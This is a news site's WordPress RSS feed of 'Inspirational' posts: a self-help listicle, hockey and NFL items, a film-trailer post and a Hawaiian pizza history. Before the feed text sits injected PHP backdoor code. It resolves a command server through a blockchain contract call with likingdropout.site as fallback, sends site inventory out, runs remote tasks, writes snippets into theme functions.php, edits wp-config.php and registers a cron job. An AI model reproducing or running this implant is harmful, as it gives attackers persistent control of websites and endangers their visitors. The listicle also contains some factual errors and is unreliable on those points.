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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Inspirational – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 15 Sep 2018 00:29:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Inspirational – Brief News https://briefnews.eu 32 32 15 Inspirational Ideas on How to Stay Consistent and Realize Your Dreams https://briefnews.eu/15-inspirational-ideas-on-how-to-stay-consistent-and-realize-your-dreams/ https://briefnews.eu/15-inspirational-ideas-on-how-to-stay-consistent-and-realize-your-dreams/#respond Sat, 15 Sep 2018 00:29:02 +0000 http://briefnews.eu/15-inspirational-ideas-on-how-to-stay-consistent-and-realize-your-dreams/ Most of us have experienced negativity in life and have gone through phases where we were consistent in doing only one thing – procrastinate.If this is the present reality of your life, you are not the only one. Difficult and dark as it may appear now, it’s not the end of the tunnel. Light and hope are waiting just round the corner! All that it needs is little change in your approach.It is easy to fall prey to the habit of procrastination or getting distracted by trivial and unimportant affairs of daily chores in life. However, building self reliance and a benchmark for consistency is no astrophysics either. All it needs is consistent will power and motivation to keep the show on.The critical part in this journey lies in how to take the first few steps towards being steady and positive in all life situations. Let’s take a look at these 15 inspirational ideas on how to stay consistent and realize your dreams.

1. Make sure they’re your dreams

Often our dreams and desires are contrast, influenced and shaped by social perspectives, rather than being fuelled by raw passion which leaves us relentless!It is important to harbor and nourish dreams solely made of our own desires. That’s elementary!Dreams that are not products of genuine fervor and interest will lose steam eventually as dreams feed solely on pure passions. To keep pursuing the goals, you need to be assured of the vitality and intensity of your dreams. If you are sure about what you want to achieve; consistency will follow suit.Till 1993 J. K Rowling was a single mother struggling with unemployment, divorce and bankruptcy. Indomitable that she is, she braved the challenges and even the rejections of the Harry Potter script by 12 major publishers. It was in 1995 that Bloomsbury, a nondescript publishing house, came up with the first copies of the now a classic Harry Porter. Rest, as we all know, is history.

2. Break down your goals into smaller pieces

Realizing your dream is like a road trip to your favourite destination. We need milestones to reassure us whether the path we’re taking is the correct one and will soon bring us close to our ultimate destination.Crossing these milestones will give us a small sense of achievement and egg us on to work consistently. Start by listing out these milestones on a planned timeline of your journey to realize your dreams and strike them out one after the other.As a computer programmer, Pierre Omidyar once thought of auctioning off products from his personal website, at a very personal level. He was getting happier by the day as traffic kept increasing. Omidyar crossed his designated milestones fast and one day saw the need to upgrade his account into a business Internet account. Omidyar’s site is the now known as eBay.

3. Segment your efforts and tasks

Split your goal to realize your dreams in segments of achievements.If your dreams are that of establishing your company, segment them into smaller tasks like attaining a business license, building a website, marketing your product or service and finally achieving profit targets.This will bring in consistency and order in the operations of your company and the benefits will surprise you. You will also find room for more tasks and as we know the key to incorporating more work is to break them down even further.Joyce Meyer – the Charismatic Christian author and speaker and president of Joyce Meyer Ministries – says,

“Getting organized in the normal routines of life and finishing little projects you’ve started is an important first step toward realizing larger goals. If you can’t get a handle on the small things, how will you ever get it together to focus on the big things?”

4. Get organized and be systematic

Clear the clutter on your desk, as well as your calendar. Getting organized gives you clarity about your priorities and helps you manage your time better. It gives a big boost to your consistency while executing important assignments.Ever wonder why Mark Zuckerberg wears grey t-shirt and blue jeans every day? Because he doesn’t spend his time and energy deciding what clothes to wear and instead focuses on important agendas.Be systematic about every approach in life. Every small step taken in running a business needs well-conceived and systematic approach to achieve the targets. By devising your own ways to ease-of-operation your performance will improve exponentially.

5. Remind yourself why you started

Keep your goals in sight. Write them down and pin them to your desk. Revisiting your goals before starting your day keeps you away from procrastination and makes you conscious of the worth of all your daily actions.Do you dream of being the next Elon Musk? Or is it your desire to win gold medal in the next Olympics like Abhinav Bindra((Forbes: Abhinav Bindra: ‘I Am in a Bad Frame of Mind’))? Either way, it is your actions which are going to bring you closer to what you wish to make out of your life.A simple daily reminder is a great power booster. It also helps you survive the tough times when you feel like giving up. As Mick Jagger aptly said,

“Lose your dreams and you might lose your mind.”

6. Talk to your partner often

Your partner is someone who is accountable to your well-being and encourages you to work towards your dreams. Partners are known to be supportive, honest and often play the role of a serial motivator. It could be anyone in your family, a friend or a colleague.A partner mostly acts as a talking mirror – someone, who can be the sounding board of your ideas, thoughts and emotion. They let you look at things the way they are and sort out the muddle in your head.Shankar and Jaikishan((Forbes India: Songs and their enduring appeal)) are a perfect example of an organized, supportive and successful Indian music composer duo. They have only achieved success in their life since their relationship started in 1949-1987.

7. Schedule time for things you love doing

Ensure that you take time out almost daily to do what you really love – be it playing squash or strumming your favourite instrument. Do it often! Things you like doing keep your creativity alive. These activities elevate your mood and enhance your productivity.The famous proverb, “All work and no play makes Jack a dull boy” perfectly describes why you need time off from work. Only work will make you boring and uninteresting. Experts say finding time from your work to do stuff you love will not only improve your consistency but also affect your efficiency dramatically.Here are some interesting facts about pursuing creativity by the rich and famous:Meryl Streep the award-winning actress loves to knit; Bill Gates is an avid bridge player; George W. Bush, the former US President is a prolific painter; Tom Hanks collects vintage typewriters; Marissa Mayer, The Yahoo CEO, loves baking; and Warren Buffet plays the ukulele.

8. Travel solo often

Travelling clears the clutter in your mind and brings you back rejuvenated to perform better and achieve more tasks than you normally would with a clogged mind.Travelling also makes you look at the bigger picture in terms of realizing your potential. An amazing example of travel making you look at the bigger picture is that of Elon Musk.When Musk was only 17 years old his father made him take a tour of the West. Musk traveled to 18 US states by car. His solo trip exposed him to situations that are believed to have helped him take major decisions in life.

9. Money will not motivate you consistently

Money is not the only motivator that works for consistency. You will tend to procrastinate if you aren’t interested in doing a certain task. Be true to yourself and set goals beyond money for motivation.The best way to deal with this is to delegate tasks and follow up constantly. Let people help you with the tasks that they like doing and find a way to monetize these tasks profitably. Henry Ford very famously said,

“Coming together is a beginning. Keeping together is progress. Working together is success.”

10. Surround yourself with positive people

Tap into the positive energy of people around you. Positivity brings in a lot of energy to motivate you in performing your tasks faster and work for longer hours. Be constantly aware of your state of mind and be vigilant about getting sucked into the negativity.Follow successful leaders and inspirational speakers on social media. Read and listen to their daily dose of positivity to differentiate between struggle and negativity.Want to know the source of inspirations for the big names in industry? Examples are plenty:Richard Branson claims to be highly inspired by Steve Jobs.Paul Mizen, MD, Recruit Venture Group, call on Winston Churchill – as a training resource to inspire the rest of his team.No one has inspired Tim Cameron-Kitchen, head ninja at digital marketing agency Exposure Ninja, more than Benjamin Franklin.

11. Visualize the results

Right from dealing with failure to success – every negotiation in life needs to be pre-empted and visualized to prepare beforehand in order to deal with the situations as and when they arise.Visualization keeps us armed and motivated to execute the required actions. This does not mean having vain chimeras though! In some scenarios, you might even have to improvise your plan to achieve the desired results from a particular task or activity. New challenges will demand you to be flexible and open to changes.Visualize every intricate detail of your journey and you’ll be motivated to work towards turning them into a reality. This also instils uniformity in your efforts. The more often you visualize your dreams and journey, the more unfailing you will be at working hard.The oft-quoted lined by Benjamin Franklin, the founding father of the United States of America who revolutionised the world with his discovery of electricity, comes to mind in this context:

“By failing to prepare, you are preparing to fail.”

12. Realize that you can’t control everything

Don’t be demotivated if certain plans don’t work. We cannot control everything. All we can do is deliver the best in all we do. The key to consistent performance is in knowing that you need to constantly keep delivering regardless of failures.Elvis’s recordings were a flop for initial many years and later when he tried to be the member of a vocal quartet he was told that he couldn’t sing. It was till the very day that he became popular, people kept telling him to go back to driving a truck.Let go of “what-ifs” and approach every task with confidence. Focus on your efforts and performance more than the outcome and keep on adding value to your deliveries.

13. Don’t lose sight of the bigger picture

Taking care of the menial or mundane tasks can get pretty boring. To keep away from dejection remind yourself of the reasons for getting them done. Keep the bigger picture in mind. All these small tasks are going to complete the jigsaw puzzle in your near future.The great scientist, Alan Turing said,

“We can only see a short distance ahead, but we can see plenty there that needs to be done.”

Your goals and dreams are way bigger than the small tasks and such tasks will utilize a lot of your time. However, it will be unjust to compare this effort to the overall value of your goal.

14. Follow your industry for positive information

Know about the success stories of others who are trying to do what you are doing. Once you start following the industry, you will be empowered with right knowledge and facts. This learning will nourish your mind and keep you motivated towards your goal.You will also get competitive and zealous once you follow the progress of other people in your industry. You could also find opportunities to connect with like-minded people who are working towards similar goals. You could even get into a healthy competition with your ally, which in turn will enable you perform better.Jack Levin nailed it when he said,

“I think healthy competition is good for business, and really at the end best for end-users. Just think about what Android would have been if it was for iPhone – a better blackberry?”

15. Blame yourself before you blame others

All of us make mistakes. Review what you do to find out where it goes wrong and improve your skill in that area. It’s easy to blame your boss, your investors or your trainers but that doesn’t address the issue.Ask yourself before starting a blame game. Hold yourself accountable and make the most from the mistake by taking serious lessons and building your capacity so that the mistake is not repeated in future.Courtney Lynch, founding partner of Lead Star, puts it in the most articulate way when she says,

“Leaders inspire accountability through their ability to accept responsibility before they place blame.”

No matter at what stage of life you are in, there is nothing as right time or right place. You can start right now.Remember, unless you execute, you’ll never know your true potential. Be consistent, be happy.

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  • In February and March, 29 NFL players took part in the ATU business combine, a week-long event designed to help them find post-playing careers.
  • In the midst of attending panels, conferences, and networking events with CEOs and business leaders, the players formed a bond through a group text.
  • Weeks later, the group text is still going strong, with players sharing business ideas, deals, and contacts, as well the occasional jokes and GIFs.


In late February, Kaleb Thornhill sent a text to 29 NFL players informing them of the plans for the week.

These 29 NFL players would soon descend upon New York City for the Athletes Transition U (ATU) business combine, a week-long event designed to help players find interests outside of football and make contacts for possible post-playing careers.

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The Edmonton Oilers are starting to play better after a rough start to the season.

Leon Draisaitl scored with 16.3 seconds left in overtime to lift the Oilers to a 3-2 win over the New Jersey Devils on Thursday night.

“You have to create some kind of momentum any way you can. Sometimes it takes wins like these to get you to start feeling confident and get rolling,” Oilers forward Milan Lucic said. “Hopefully we can keep building off of an effort like this.”

The Oilers (6-8-1) have now won consecutive games for the first time all season. Edmonton had defeated the New York Islanders, 2-1, Tuesday night when Draisaitl set up Connor McDavid for the game-winner 38 seconds into overtime.

Brian Boyle opened the scoring as he jammed a loose puck through Talbot, his one-time teammate with the New York Rangers, to give the Devils a 1-0 lead just 5:33 in. The goal was Boyle’s first of the season.

Boyle had been diagnosed with chronic myeloid/myelogenous leukemia during training camp, and he had missed all of the preseason and New Jersey’s first 10 games of the regular season while receiving treatment.

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“Usually I can separate it but that wasn’t the case. It was a wave of different things. My family, my wife has been through the ringer. She’s had to deal with a lot more than I’d say I have gone through,” Boyle said of his reaction to his goal. “I try to separate it but it’s a little bit bigger tonight than probably ever.”

Cam Talbot made 32 saves and Anton Slepyshev and Lucic also scored for Edmonton.

Whereas the Oilers spoke in hopeful terms about building positive traction, the Devils are in the midst of their first sustained losing streak of the season. New Jersey has lost four straight to fall to 9-4-2.

Cory Schneider made 29 saves for New Jersey. Brian Boyle and Drew Stafford scored for the Devils.

“We had some chances,” Schneider said. “Tough to get one, not two.”

Following the franchise’s first playoff appearance since reaching the Stanley Cup Final in the 2005-06 season, Edmonton was a trendy pick to win the Western Conference during the preseason.

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However, the Oilers opened the season with a 3-6-1 record in October, and were 2-2-0 in November. Entering the game, Edmonton’s 11 points were second worst in the Western Conference, ahead of only Arizona.

Edmonton never led until Draisaitl’s game-winner.

New Jersey had an opportunity to tack onto its lead before the end of the period, as the Devils were granted a power play due to Oscar Klefbom tripped first overall pick Nico Hischier at 17:46. But Stefan Noesen’s shot from the top of the crease sailed wide, and the Devils went into intermission with the 1-0 advantage.

“We could have had three or four [goals],” Schneider said. “We had a few dribble wide or miss an open net.”

Noesen’s missed shot came back to haunt New Jersey when Slepyshev tied the game at 6:50 of the second with his first of the season.

Still, it was the Devils who went into the second intermission with a 2-1 lead, on Stafford’s fifth of the year at 18:25. Stafford used his body to shield the puck away from Mark Letestu, then tucked the puck past Talbot before being hit by Darnell Nurse.

Edmonton drew even on Lucic’s third goal of the season 3:21 into the third, a drive from the left side which rolled through Schneider’s legs.

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]]> https://briefnews.eu/oilers-win-game-but-devils-boyle-wins-hearts-with-inspirational-goal/feed/ 0 ‘Stronger’ Trailer: Jake Gyllenhaal Plays an Inspirational Boston Bombing Victim https://briefnews.eu/stronger-trailer-jake-gyllenhaal-plays-an-inspirational-boston-bombing-victim/ https://briefnews.eu/stronger-trailer-jake-gyllenhaal-plays-an-inspirational-boston-bombing-victim/#respond Fri, 23 Jun 2017 09:12:47 +0000 http://briefnews.eu/stronger-trailer-jake-gyllenhaal-plays-an-inspirational-boston-bombing-victim/ Stronger trailer

Peter Berg’s Patriots Day earned solid reviews when it hit theaters last year, but the way that movie invented a single character who appeared at all of the major turning points of the 2013 Boston bombing struck me as disingenuous.

Now, director David Gordon Green is here with Stronger, a film that tells the true story of one of the bombing’s survivors, Jeff Bauman, played here by Jake Gyllenhaal. To me, this looks like a much better way of approaching the topic, and it looks like an emotional, inspiring story about overcoming adversity and personifying the term “Boston Strong.” Check out the first Stronger trailer below.

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Though some performances have been more lauded than others, Gyllenhaal has been on fire ever since the one-two punch of Prisoners and Enemy back in 2013. It looks like he’ll deliver an emotionally devastating performance in this one (it cuts like a knife when he screams “I showed up for you!”), and hopefully he makes the real Bauman proud. Tatiana Maslany, who finally received an Emmy last year for her work playing multiple characters in the clone drama Orphan Black, also looks as if she’s doing some powerful work here, and I’m already convinced that I’m going to appreciate this movie more than Patriots Day because it tells the story through the eyes of a real person and doesn’t seem like it’s bitten off more than it can chew.

David Gordon Green is one of the most interesting filmmakers working today, capable of jumping from stoner comedies like Pineapple Express and Your Highness to indies like Prince Avalanche and Joe and not missing a beat along the way. Here’s hoping Stronger turns out to be as good as this trailer makes it look.

The film opens in theaters on September 22, 2017.

Stronger is the inspiring true story of Jeff Bauman, an ordinary man who captured the hearts of his city and the world to become the symbol of hope following the infamous 2013 Boston Marathon bombing. Jake Gyllenhaal stars as Jeff, a 27-year-old, working-class Boston man who was at the marathon to try and win back his ex-girlfriend Erin (Tatiana Maslany). Waiting for her at the finish line when the blast occurs, he loses both his legs in the attack. After regaining consciousness in the hospital, Jeff is able to help law enforcement identify one of the bombers, but his own battle has just begun. He tackles months of physical and emotional rehabilitation with the unwavering support of Erin and his family. It is Jeff’s deeply personal account of the heroic journey that tests a family’s bond, defines a community’s pride and inspires his inner courage to overcome devastating adversity. Filled with raw emotion, humanity and humor, Stronger is the inspirational real-life story of the man who became the living embodiment of “Boston Strong.” The film also stars Academy Award® nominee Miranda Richardson and is directed by David Gordon Green.

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]]> https://briefnews.eu/stronger-trailer-jake-gyllenhaal-plays-an-inspirational-boston-bombing-victim/feed/ 0 The Only Best Selection Of Inspirational Quotes You Need In Your Life. https://briefnews.eu/the-only-best-selection-of-inspirational-quotes-you-need-in-your-life/ https://briefnews.eu/the-only-best-selection-of-inspirational-quotes-you-need-in-your-life/#respond Mon, 12 Jun 2017 22:33:57 +0000 http://briefnews.eu/the-only-best-selection-of-inspirational-quotes-you-need-in-your-life/

We have all been there.

At some points in life, we struggle, frustrate and lost. We don’t know what we want to do with our lives, we lost sight about how to move on, worry about all the uncertainties that life might throw us or simply had a bad day where things just not goingthe way we expected.

We can always train up ourselves to live a positive life by practicing gratitude and developing habits that maintain our positive attitudes.But after all, we are only human, it’s normal to have down times.

For me, I find it very useful to read through some inspiring quotes when I have my bad days. Not only they provide me with an instant mood boost, but also valuable guidance and inspiration when I feel stuck in relationship, work or life in general.

Here I have collected and orgainsed a list of quotes that I have been revisiting throughout the past years. You can read them when you feel low or just read 1 quote every day to keep yourself motivated and inspired! Feel free to make it your habit and I am sure this small change will have a great impact to your life!

1. Read Inspirational QuotesWhen You Feel Lost

When we have been dealing with the same problem (any problem you can call) for too long, we tend to lose sight about the big picture and then we feel stuck and frustrated. Apart from allowing yourself to stay away from the situation for a while,it’s very helpful to get that instant “click” from quotes. They are handy, easy to digest and able to inspire you in just a second. I find them useful when I feel stuck, they NEVER failed to lead me to new thoughts and directions.

2. ReadThese Motivational QuotesTo Keep Yourself Going!

We have all failed at least once in our lives (who said they haven’t must be lying!). We are all particularly vulnerable at those moments and we’ll allow those failures and scars define us. But it’s ok to make mistake, it’s ok to fail! What’s more important is you know how to stand back up, face the adversity, bounce forward and grow stronger.

Take these quotes as your best friends. Let them talk to you when you feel down and demotivated! It’s ok to struggle but never ever give up!

3. You Can SendEncouraging Quotes To Your Friends!

Have you ever had that feeling of not knowing what to say when your friends are having a down time or experiencing something that’s too much for you to handle?

How about sending your friends some positive quotes? They can help you do a nice job! Remember the days when you feel bad, comments or opinions might not be the thing you are looking for from a friend, all you need it’s just an act of caring! So I do recommend you to send these lovely quotes to boost their mood and show your love!

4. When You Are Sad, You Can Always Read These Quotes About Happiness.

Being happy is so much harder nowadays. Thanks to social media, people are often comparing themselves to the one glamorous side that the others show on their Instagram and Facebook.

But happiness is more JUST than that. Happiness comes naturally once we have found our core self. Doing something that we love, feeling healthy every day or simply being around the person you love can be your true happiness! There’s no point to compare with others and if you try really hard to chase happiness, you will never be happy.

You don’t have to chase it, it will just come when you find yourself. It’s easy for us to lose sight and direction on the journey to happiness because there are just too much distractions. All we need are just reminders of how happy we already are!

5. If You Are Chasing Your Dreams, These Quotes About Dreams Are What You Need!

People are often too easy to put off their dreams. Some say they don’t have the time. Some say dreams are just dreams and they are not achievable. However, ask yourself, Have you grabbed the chance tight when it comes? Are you working you full potential towards your dream? If you want to achieve the goal so badly how come you are not taking any actions?

I have came to learn that it’s called a dream only if you let it. Once you have started the journey, dreams become goals and goals will derive actions.

6. No Matter you Are Finding Love or In a Relationship, These Quotes About Love Will Help You Anyways!

It took me years to learn that love is about compromising while not losing your core self.We learn to appreciate and at the same time embrace the differences between us and our partners. We need to figure ways to live a life TOGETHER where both parties feel comfortable being themselves.

If you love the person, love who they are instead of changing them to who you want them to be.

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]]> https://briefnews.eu/the-only-best-selection-of-inspirational-quotes-you-need-in-your-life/feed/ 0 The real story behind the world’s most controversial type of pizza is an inspirational tale of international triumph https://briefnews.eu/the-real-story-behind-the-worlds-most-controversial-type-of-pizza-is-an-inspirational-tale-of-international-triumph/ https://briefnews.eu/the-real-story-behind-the-worlds-most-controversial-type-of-pizza-is-an-inspirational-tale-of-international-triumph/#respond Sat, 10 Jun 2017 09:19:48 +0000 http://briefnews.eu/the-real-story-behind-the-worlds-most-controversial-type-of-pizza-is-an-inspirational-tale-of-international-triumph/ Hawaiian pizzaFlickr/elsiehui

Fifty-five years ago, Sam Panopoulos made a decision that would change pizza forever: he took a can of pineapple and threw it on a pizza.

On Thursday, the inventive pizza maker passed away at age 82, CBC Radio reported.

To honor Panopoulos’ life, Business Insider decided to take the opportunity to look at the history of the pizza that has become much bigger than one man, state, or even nation — Hawaiian pizza. 

The path that led Panopoulos to Hawaiian pizza began long before 1962, Atlas Obscura reported. 

Panopoulos immigrated from Greece to Canada in 1954. It was on this trip that he had his first bite of pizza, in the birthplace of the food — Naples, Italy. 

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When Panopoulos arrived in Canada, he opened a restaurant in Chatham, a Canadian town located near Detroit, Michigan. At first the restaurant, called the Satellite, didn’t sell pizza, as the exotic treat was nearly impossible to find in Canada, though it was already a hit in Detroit. 

The Satellite served mostly classic diner fare, such as pancakes and burgers. Soon, however, Panopoulos decided to start getting creative with menu items, adding options like American Chinese food and pizza to the menu. 

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According to Atlas Obscura, the rise of tiki culture, as troops returning from the South Pacific after serving in World War II, and the influence of American Chinese food were crucial to inspiring Panopoulos. Panopoulos sought to unite the sweet and the savory — a mission that ended in him dumping a can of pineapple on a pizza pie. 

“Nobody liked it at first,” Panopoulos told CBC Radio’s “As It Happens” in February. “But after that, they went crazy about it. Because those days nobody was mixing sweets and sours and all that. It was plain, plain food.” 

Soon, Panapoulos found the winning combination when he added ham to the mix.

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From the start Panapoulos called his creation “Hawaiian pizza,” though he didn’t patent the name.

The pizza caught on, traveling across Canada, throughout the US, and internationally (though there are also rumors that other pizzerias independently began serving pizza topped with pineapple). Today, it’s served at most major pizza chains and has become the most popular type of pizza in Australia, according to The West Australian.

Yet, even as the pizza has gained popularity over the decades, some vocal naysayers have remained. Thrillist ranked pineapple pizza last in a 2014 pizza power ranking, and anti-Hawaiian pizza memes continue to circle the internet. 

However, no Hawaiian pizza hater has been so vocal — or so powerful — as Gudni Thorlacius Johannesson, the president of Iceland. 

In February 2017, Johannesson joked that pineapple pizza should be outlawed, setting off an explosive domino effect of international backlash and support. Soon, the president was forced to take to Facebook to clarify his decision. 

“I like pineapples, just not on pizza,” Johannesson wrote. “I do not have the power to make laws which forbid people to put pineapples on their pizza. I am glad that I do not hold such power.”

News of Johannesson’s anti-Hawaiian pizza stance eventually got back to Panopoulos, who seemed unbothered when interviewed by BBC earlier this year. 

“The guy is crazy. He doesn’t grow a lot of pineapples up there. He has a lot of fish — so he says put fish on it,” Panopoulos said. 

With Panopoulos’s passing, now is not the time to give airtime to the voices of Hawaiian pizza haters.

Instead, it’s a chance to celebrate the Hawaiian pizza’s incredible, global journey — a creation from a Greek-Canadian, inspired by Chinese-American, Italian, and Oceanic cuisines, today both celebrated and hated worldwide. 

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]]> https://briefnews.eu/the-real-story-behind-the-worlds-most-controversial-type-of-pizza-is-an-inspirational-tale-of-international-triumph/feed/ 0 LeBron James made the Cavs watch an inspirational Steve Jobs speech before their epic comeback in the 2016 NBA Finals https://briefnews.eu/lebron-james-made-the-cavs-watch-an-inspirational-steve-jobs-speech-before-their-epic-comeback-in-the-2016-nba-finals/ https://briefnews.eu/lebron-james-made-the-cavs-watch-an-inspirational-steve-jobs-speech-before-their-epic-comeback-in-the-2016-nba-finals/#respond Wed, 07 Jun 2017 21:38:47 +0000 http://briefnews.eu/lebron-james-made-the-cavs-watch-an-inspirational-steve-jobs-speech-before-their-epic-comeback-in-the-2016-nba-finals/ lebron jobsEzra Shaw/Getty Images (James photo), YouTube (Jobs photo)

Much like the this year’s NBA Finals, the Cleveland Cavaliers were in trouble after the first two games of the 2016 Finals.

The defending Golden State Warriors had crushed them in the first two games, winning Game 2 by a humiliating 33 points. The Cavs were about to play at home for the first time in the series, and LeBron James wasn’t having it, according to a report at the time by ESPN.

